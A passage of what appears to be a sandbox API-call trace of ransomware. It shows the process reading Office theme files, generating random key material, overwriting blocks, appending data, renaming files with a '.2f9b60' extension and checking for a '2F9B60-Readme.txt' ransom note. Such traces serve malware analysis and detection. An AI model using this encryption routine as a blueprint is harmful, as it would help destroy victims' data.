SourceString="897abf55255a1f636fadeff5e5ad4ae91ff723e56bf7" | out: DestinationString="897abf55255a1f636fadeff5e5ad4ae91ff723e56bf7") [0111.866] RtlAnsiStringToUnicodeString (in: DestinationString=0x33fcfc78, SourceString="897abf55255a1f636fadeff5e5ad4ae91ff723e56bf7", AllocateDestinationString=1 | out: DestinationString="897abf55255a1f636fadeff5e5ad4ae91ff723e56bf7") returned 0x0 [0111.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced9400 [0111.866] wcscat (in: _Dest=0x20279df0, _Source="897abf55255" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\897abf55255") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\897abf55255" [0111.867] wcscat (in: _Dest=0x20279df0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\897abf55255.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\897abf55255.2f9b60" [0111.867] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\897abf55255.2f9b60", NtPathName=0x33fcfc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\897abf55255.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776af0 [0111.867] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x33fcfcf0, FileInformation=0x1b776af0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0111.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.868] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x33fcfcb8, FileInformation=0x33fcfcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33fcfcb8, FileInformation=0x33fcfcc8) returned 0x0 [0111.868] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x33fcfcb8, FileInformation=0x33fcfcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0111.870] FlushFileBuffers (hFile=0x160c) returned 1 [0111.872] CloseHandle (hObject=0x160c) returned 1 [0111.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0111.873] wcscpy (in: _Dest=0x20279df0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.873] wcscat (in: _Dest=0x20279df0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ad0) returned 1 Thread: id = 1087 os_tid = 0x17a4 [0111.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 0x20 [0111.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx", dwFileAttributes=0x20) returned 1 [0111.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe04 [0111.799] GetFileSizeEx (in: hFile=0xe04, lpFileSize=0x33aefca0 | out: lpFileSize=0x33aefca0*=129924) returned 1 [0111.800] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x1fb80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.800] ReadFile (in: hFile=0xe04, lpBuffer=0x33aefc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33aefc68, lpOverlapped=0x0 | out: lpBuffer=0x33aefc20*, lpNumberOfBytesRead=0x33aefc68*=0x4, lpOverlapped=0x0) returned 1 [0111.802] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0111.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0111.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0111.802] NtQuerySystemTime (in: CurrentTime=0x33aefb60 | out: CurrentTime=0x33aefb60*=132462177172726000) returned 0x0 [0111.802] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x4ea6a792 [0111.802] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x65d34b59 [0111.802] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x388e67de [0111.802] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x49832900 [0111.802] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x29aa9a32 [0111.802] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x6f34cd46 [0111.802] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x40a8042 [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x40fee52f [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x3a0f019d [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x7afe0f42 [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x405eeb0c [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x70844c95 [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x7a84b039 [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x1a21304f [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0xdc349f [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x44de873d [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x4628b117 [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x78b50c30 [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x733db47a [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0xa71869d [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x568560cb [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x57a0e830 [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x67f24263 [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x64e451a1 [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x3ab4434c [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x456b7bcf [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x524868a9 [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x442b5dfd [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x27172bd1 [0111.803] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x7d4c031 [0111.804] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x6a9f3171 [0111.804] RtlRandomEx (in: Seed=0x33aefb50 | out: Seed=0x33aefb50) returned 0x39b5cba [0111.814] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.814] ReadFile (in: hFile=0xe04, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33aefbc0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x33aefbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.815] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0111.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f70) returned 1 [0111.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0111.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0111.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0111.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202634d0) returned 1 [0111.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.816] WriteFile (in: hFile=0xe04, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33aefbc0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x33aefbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.818] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.818] ReadFile (in: hFile=0xe04, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33aefbc0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x33aefbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.819] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0111.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c50 [0111.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c50) returned 1 [0111.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0111.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c50 [0111.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c80 [0111.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c80) returned 1 [0111.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0111.820] WriteFile (in: hFile=0xe04, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33aefbc0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x33aefbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.822] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x1bf84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.822] ReadFile (in: hFile=0xe04, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33aefbc0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x33aefbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.822] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x1bf84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603e0 [0111.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202603e0) returned 1 [0111.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0111.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603e0 [0111.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c80 [0111.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c80) returned 1 [0111.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.824] WriteFile (in: hFile=0xe04, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33aefbc0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x33aefbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9860 [0111.825] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.826] WriteFile (in: hFile=0xe04, lpBuffer=0x20507690*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x33aefc70, lpOverlapped=0x0 | out: lpBuffer=0x20507690*, lpNumberOfBytesWritten=0x33aefc70*=0x144, lpOverlapped=0x0) returned 1 [0111.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c80 [0111.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c80) returned 1 [0111.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0111.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c80 [0111.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260500 [0111.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260500) returned 1 [0111.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20260500 [0111.828] sprintf (in: _Dest=0x20260500, _Format="%c%c" | out: _Dest="7f") returned 2 [0111.828] sprintf (in: _Dest=0x20260502, _Format="%c%c" | out: _Dest="3e") returned 2 [0111.828] sprintf (in: _Dest=0x20260504, _Format="%c%c" | out: _Dest="62") returned 2 [0111.828] sprintf (in: _Dest=0x20260506, _Format="%c%c" | out: _Dest="19") returned 2 [0111.828] sprintf (in: _Dest=0x20260508, _Format="%c%c" | out: _Dest="42") returned 2 [0111.828] sprintf (in: _Dest=0x2026050a, _Format="%c%c" | out: _Dest="fd") returned 2 [0111.828] sprintf (in: _Dest=0x2026050c, _Format="%c%c" | out: _Dest="55") returned 2 [0111.828] sprintf (in: _Dest=0x2026050e, _Format="%c%c" | out: _Dest="72") returned 2 [0111.828] sprintf (in: _Dest=0x20260510, _Format="%c%c" | out: _Dest="90") returned 2 [0111.828] sprintf (in: _Dest=0x20260512, _Format="%c%c" | out: _Dest="7b") returned 2 [0111.828] sprintf (in: _Dest=0x20260514, _Format="%c%c" | out: _Dest="02") returned 2 [0111.828] sprintf (in: _Dest=0x20260516, _Format="%c%c" | out: _Dest="6e") returned 2 [0111.828] sprintf (in: _Dest=0x20260518, _Format="%c%c" | out: _Dest="30") returned 2 [0111.828] sprintf (in: _Dest=0x2026051a, _Format="%c%c" | out: _Dest="b6") returned 2 [0111.828] sprintf (in: _Dest=0x2026051c, _Format="%c%c" | out: _Dest="e4") returned 2 [0111.828] sprintf (in: _Dest=0x2026051e, _Format="%c%c" | out: _Dest="44") returned 2 [0111.828] sprintf (in: _Dest=0x20260520, _Format="%c%c" | out: _Dest="5a") returned 2 [0111.828] sprintf (in: _Dest=0x20260522, _Format="%c%c" | out: _Dest="06") returned 2 [0111.828] RtlInitAnsiString (in: DestinationString=0x33aefce8, SourceString="7f3e621942fd5572907b026e30b6e4445a06" | out: DestinationString="7f3e621942fd5572907b026e30b6e4445a06") [0111.828] RtlAnsiStringToUnicodeString (in: DestinationString=0x33aefcb8, SourceString="7f3e621942fd5572907b026e30b6e4445a06", AllocateDestinationString=1 | out: DestinationString="7f3e621942fd5572907b026e30b6e4445a06") returned 0x0 [0111.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b7ceac0 [0111.829] wcscat (in: _Dest=0x1cd65970, _Source="7f3e62194" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\7f3e62194") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\7f3e62194" [0111.829] wcscat (in: _Dest=0x1cd65970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\7f3e62194.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\7f3e62194.2f9b60" [0111.829] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\7f3e62194.2f9b60", NtPathName=0x33aefc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\7f3e62194.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119720 [0111.829] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x33aefd30, FileInformation=0x119720, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0111.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 [0111.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.831] NtQueryInformationFile (in: FileHandle=0xe04, IoStatusBlock=0x33aefcf8, FileInformation=0x33aefd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33aefcf8, FileInformation=0x33aefd08) returned 0x0 [0111.831] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x33aefcf8, FileInformation=0x33aefd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65970) returned 1 [0111.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceac0) returned 1 [0111.833] FlushFileBuffers (hFile=0xe04) returned 1 [0111.860] CloseHandle (hObject=0xe04) returned 1 [0111.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0111.864] wcscpy (in: _Dest=0x20279df0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.864] wcscat (in: _Dest=0x20279df0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65b80) returned 1 Thread: id = 1088 os_tid = 0x17a8 [0111.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 0x20 [0111.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx", dwFileAttributes=0x20) returned 1 [0111.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0111.880] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x3442fb40 | out: lpFileSize=0x3442fb40*=19611) returned 1 [0111.880] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x4c97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.880] ReadFile (in: hFile=0x1574, lpBuffer=0x3442fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3442fb08, lpOverlapped=0x0 | out: lpBuffer=0x3442fac0*, lpNumberOfBytesRead=0x3442fb08*=0x4, lpOverlapped=0x0) returned 1 [0111.886] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8110 [0111.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8140 [0111.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8170 [0111.886] NtQuerySystemTime (in: CurrentTime=0x3442fa00 | out: CurrentTime=0x3442fa00*=132462177173506000) returned 0x0 [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x490f9604 [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x5164d33c [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x1d4a578e [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x157f0e3f [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x6dd74e51 [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x7b073040 [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x28ce78a6 [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x2de14b7b [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x4c01a2f6 [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x4f8f7efc [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x13e1b631 [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x4a732264 [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x7f24ca36 [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x319cbbb5 [0111.886] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0xc3186e6 [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x368c9213 [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x6ed2bbc [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x76370b97 [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x1b2ce8a6 [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x74f84a58 [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x637ced89 [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x22f1e9b1 [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0xd8b787e [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x47a1fe7a [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x597e9b32 [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x59611a2e [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x68ebe98b [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x7ef87559 [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x5c08b6a7 [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x4b2534a3 [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x70c5d7c3 [0111.887] RtlRandomEx (in: Seed=0x3442f9f0 | out: Seed=0x3442f9f0) returned 0x9ffe8b6 [0111.897] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.897] ReadFile (in: hFile=0x1574, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3442fa60, 